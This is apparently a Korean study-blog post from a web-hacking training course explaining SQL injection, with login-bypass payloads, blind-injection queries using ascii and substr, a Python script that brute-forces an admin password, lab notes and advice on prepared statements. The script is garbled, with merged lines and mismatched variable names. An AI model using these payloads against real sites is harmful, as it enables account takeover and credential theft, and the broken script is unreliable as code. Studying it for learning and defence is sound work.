ServerSide: SQL Injection
SQL Injection
DBMS 에서 사용하는 쿼리를 임의로 조작하여 데이터베이스의 정보를 획득하는 공격이다.
인젝션 공격은 이용자의 입력값이 애플리케이션 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점을 의미한다.
조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.
SELECT * FROM user WHERE user_id='admin'
위 쿼리를 보면 user_pw 조건문이 없는 것을 확인할 수 있다.
이 쿼리를 통해 질의하면 DBMS 는 ID 가 admin 인 계정의 비밀번호를 비교하지 않고
해당 계정 정보를 반환하므로 이용자는 admin 계정으로 로그인이 가능하다.
이 아이디어를 기본으로 깔아놓고 이해하면 더 쉽다!
(간단한 실습)
SELECT * FROM user WHERE user_id='' and user_pw ='';
SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되게 하는 것이다.
예를 들어, 어떤 한 사이트의 데이터 베이스에서 이용자의 아이디와 비밀번호를 가져오는 SQL문이 위와 같다면
이용자 입력값을 문자열로 나타내기 위해서 ' 문자를 사용하는 것을 알 수 있다.
이때, 이용자의 입력값을 SQL 구문으로 해석되도록 하려면 ' 문자를 입력하는 방법이 있다.
uid 에 admin' or '1 을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문은 아래와 같다.
SELECT * FROM user WHERE uid='admin' or '1' and upw='';
쿼리문을 살펴보면 두 개의 조건으로 나눌 수 있다.
첫 번째 조건은 uid가 “admin” 이고, 두 번째 조건은 이전의 식이 참(True)이면서 upw가 없는 경우이다.
첫 번째 조건은 admin 결과를 반환하고, 두 번째 조건은 아무런 결과도 반환하지 않는다.
따라서 uid가 “admin”인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있다.
이 외에도, 주석( --, #, /**/ )을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있다.
(주석 활용)
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
Blind SQL Injection
질의 결과를 이용자가 화면에서 직접 확인 불가능할 때, 참/거짓 반환 결과로 데이터를 획득하는 공격 기법을 말한다.
이때, 사용할 수 있는 함수는 ascii 와 substr 이다.
- ascii() : 전달받은 인자를 아스키 코드 값으로 반환한다.
- substr(string, postion, length) : string 의 position 위치에서 length 만큼 결과를 반환한다.
ex) substr(banana, 1, 1) : b / substr(banana, 1, 2) : ba
#비밀번호의 첫번째 글자 구하기
#(아스키 114='r', 115='s')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw, 1, 1))=114--' and upw=''; #False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw, 1, 1))=115--' and upw=''; #True -> 첫번째 글자='s'
#비밀번호의 두번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw, 2, 1))=115--' and upw=''; #False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw, 2, 1))=116--' and upw=''; #True -> 두번째 글자='t'
-> 이러한 쿼리문의 반환 결과로 비밀번호의 문자를 알 수 있다.
Blind SQL Injection 은 한 바이트씩 비교하면서 공격하는 방식이므로 이런식으로 진행하면 많은 시간을 들여야한다.
따라서 이 공격은 자동화하는 스크립트를 작성하는 방법이 있다.
공격 스크립트 작성 시 유용한 라이브러리는 파이썬의 requests 모듈이다.
해당 모듈은 다양한 메소드를 사용하여 HTTP 요청을 보낼 수 있으며 응답 또한 확인이 가능하다.
requests.get 은 GET 메소드를 사용하여 HTTP 요청을 보내는 함수로, URL 과 Header, Parameter 와 함께 요청을 전송할 수 있다.
requests.post 은 POST 메소드를 사용하여 HTTP 요청을 보내는 함수로, URL 과 Header, Body 와 함께 요청을 전송할 수 있다.
(공격 스크립트)
#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login'
# example
URLparams = { 'uid': '', 'upw': ''}
tc = string.ascii_letters + string.digits + string.punctuation
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''admin' and ascii(substr(upw,{idx},1))={val}--'''password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch) breakprint(f"Password is {password}")
공격하기 전, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자 범위를 지정해야한다.
비밀번호는 알파벳, 숫자, 특수 문자로 이루어지므로 아스키 범위는 32부터 126까지의 모든 문자이다.
반복문 실행 중에 반환 결과가 참일 경우 페이지에 표시되는 "Login success" 문자열을 찾고,
해당 결과를 반환한 문자를 password 변수에 저장한다.
반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있다.
(퀴즈)
SELECT * FROM accounts WHERE user_id='admin' and user_pw='(A)'
위와 같은 경우로 SQL문으로 데이터를 가져온다면,
공격이 통하는 SQL문에는
'+(select user_pw from accounts where user_id='admin')+'
' or 1=1-- 1
이 있다.
( Exercise : Simple_sqlite )
SQLite 는 많은 양의 컴퓨팅 리소스를 제공하기 어려운 임베디드 장비, 복잡하지 않은 Standalone 프로그램에서 사용되며,
개발 단계의 편의성 또는 프로그램의 안정성을 제공한다.
SQL Injection 을 발생시키는 방법에는 2가지가 있다.
관리자 계정의 비밀번호를 모른채로 로그인을 우회하는 방법, 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인 하는 방법이다.
해당 예시는 로그인 우회 방법을 사용했다.
문제에서는 동적으로 쿼리를 생성하는데 이러한 것을 RawQuery 라고 한다.
RawQuery 를 생성할 때, 이용자 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다.
이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 삽입하여 공격을 수행하는 것이다.
실습에서는 취약점을 이용하여 임의 계정 권한을 획득할 수 있었다.
SQL Injection 에는 로그인 결과 조작하여 임의 계정으로 로그인하는 것을 포함해서
비밀글을 비밀번호 없이 조회, 회원 정보 조회 시 이용자 번호에 SQL 구문을 삽입하여 임의 회원 출력하는 등 다양한 행위가 가능하다.
따라서, SQL 데이터를 처리할 때 쿼리문을 직접 생성하는 방식이 아닌
PrePared Statement 와 Object Relational Mapping(ORM) 을 사용하여 해결할 수 있다.
Prepared Statement 는 동적 쿼리가 전달되면 내부적으로 쿼리 분석을 하여 안전한 쿼리문을 생성한다.
( Exercise: Blind SQL Injection )
Blind SQL Injection(BSQLi)는 여러번의 질의를 통해 정답을 찾아내는 스무고개와 비슷하다.
하지만 직접 쿼리를 수행하는 건 너무 비효율적이므로 자동화 스크립트를 작성하는 것이 효율적이다.
(자동화 스크립트 작성 과정)
1. 로그인할 때 전송하는 POST 데이터의 구조를 파악한다. -> 크롬의 개발자 도구 이용함.
a. 개발자 도구 - NetWork - Preserve log
b. userid, password 에 guest 입력 후 로그인 버튼 클릭
c. 메시지 목록에서 /login 으로 전송된 POST 요청 찾기
d. 하단의 Form Data를 확인한다.
-> userid 값은 userid, password 는 userpassword 로 전송됨을 확인할 수 있다.
2. 비밀번호 길이를 파악하는 파이썬 스크립트를 작성한다. -> 이진 탐색 알고리즘 활용하면 시간 단축이 가능하다!
스크립트 실행 시 연결 시간 초과 에러 발생하는 경우가 있는데, 이를 try..except 구문으로 에러를 핸들링하거나, 공격에 성공할 때까지 스크립트를 실행하여 이를 해결할 수 있다.
3. 비밀번호 길이를 알아낸 후 비밀번호를 알아내는 스크립트를 짠다.
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W4 : Web Hacking 로드맵 - STAGE 6 - Command Injection (0) | 2022.10.17 |
---|---|
[빡공팟 5기] Web Hacking 로드맵 - STAGE 5 - Non-Relational DBMS (0) | 2022.10.14 |
[빡공팟 5기] W4 : Web Hacking 로드맵 - STAGE 5 - RDBMS (0) | 2022.10.14 |
[빡공팟 5기] W4 : Web Hacking 로드맵 - STAGE 4 - CSRF (0) | 2022.10.14 |
[빡공팟 5기] W4 : Web Hacking 로드맵 - STAGE 3 - XSS (0) | 2022.10.14 |